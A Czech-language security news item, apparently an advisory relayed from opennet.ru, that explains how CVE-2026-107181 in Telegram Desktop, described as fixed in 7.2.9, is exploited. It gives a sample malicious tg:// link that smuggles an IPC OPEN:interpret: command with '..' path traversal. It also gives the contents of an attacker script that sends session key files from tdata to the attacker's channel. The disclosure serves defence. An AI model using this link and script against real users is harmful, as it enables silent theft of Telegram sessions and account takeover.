Byly odhaleny podrobnosti a metoda využití zranitelnosti (CVE-2026-107181) v aplikaci Telegram Desktop, oficiálním klientovi Telegramu pro stolní systémy. Problém je způsoben nedostatečným zpracováním neošetřených oddělovacích znaků ve příkazech IPC, což umožnilo útočníkovi přenášet jakékoliv soubory z systému oběti, včetně souborů se sezeními klíčů, které mohou být použity k převzetí účtu v Telegramu, při kliknutí na zaslaný odkaz. Zranitelnost byla opravena ve verzi Telegram Desktop 7.2.9.
Při kliknutí na odkazy „tg://“ operační systém spustí aplikaci Telegram Desktop, která je spojena s tímto typem odkazů. Pokud je v systému již spuštěna jiná instance této aplikace, zahájený proces předá odkaz jinému přes socket pomocí IPC rozhraní. Problém je v tom, že pokud je mezi parametry odkazu uveden znak „;“ (například „tg://x?a=1;OPEN…“), obsah je rozdělen a části za znakem „;“ jsou zpracovávány jako samostatné příkazy.
Pro provedení útoku je využit příkaz OPEN spolu s URI schématem „interpret:“, které je určeno pro spouštění skriptů prostřednictvím IPC, jež se používaly pro automatické odesílání nových verzí do kanálů. Skript představuje předem definovaný lokální soubor, ve kterém je uveden soubor poslaný do kanálu a identifikátor kanálu. Cesta k skriptům je zpracovávána vzhledem k systému podadresáře, ale kvůli absenci čištění „..“ v cestách k souborům má útočník možnost přistupovat k souborům uloženým mimo základní adresář. Například je možné nahrát soubor do své telegramové skupiny a poté odkázat na tento soubor jako skript, čímž připraví odkaz typu:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Fáze provedení útoku:
- Útočník přidá oběť do své skupiny (při výchozím nastavení přidání nevyžaduje potvrzení od přidávaného) a odešle do této skupiny textový soubor, ve kterém je uveden kanál a cesta ke skriptu. Telegram tento soubor uloží do předem určeného systémového podadresáře, když oběť vstoupí do skupiny.
channel: 2005234537
file: tdata/D877F783D5D3EF8Cs - Útočník oběti zašle nevinně vypadající odkaz na svůj hostitel (například „https://coolsite.org“), který při otevření je přesně přesměrován na serveru útočníka a nahrazen URI ve formátu ‚tg://x?a=1;OPEN:interpret:…;OPEN:interpret:…‘.
- Kliknutím na odkaz prohlížeč spustí zpracovatele URI „tg://“, což vyvolá uvedenou posloupnost příkazů, která vede k odeslání souborů na kanál útočníka bez zobrazení jakýchkoli oznámení a bez potvrzení odeslání.
- Po obdržení souborů z podadresáře tdata s šifrovacími a autentizačními klíči, pokud uživatel nenastavil místní heslo, může útočník zkopírovat relaci oběti na své zařízení.
Zdroj: opennet.ru
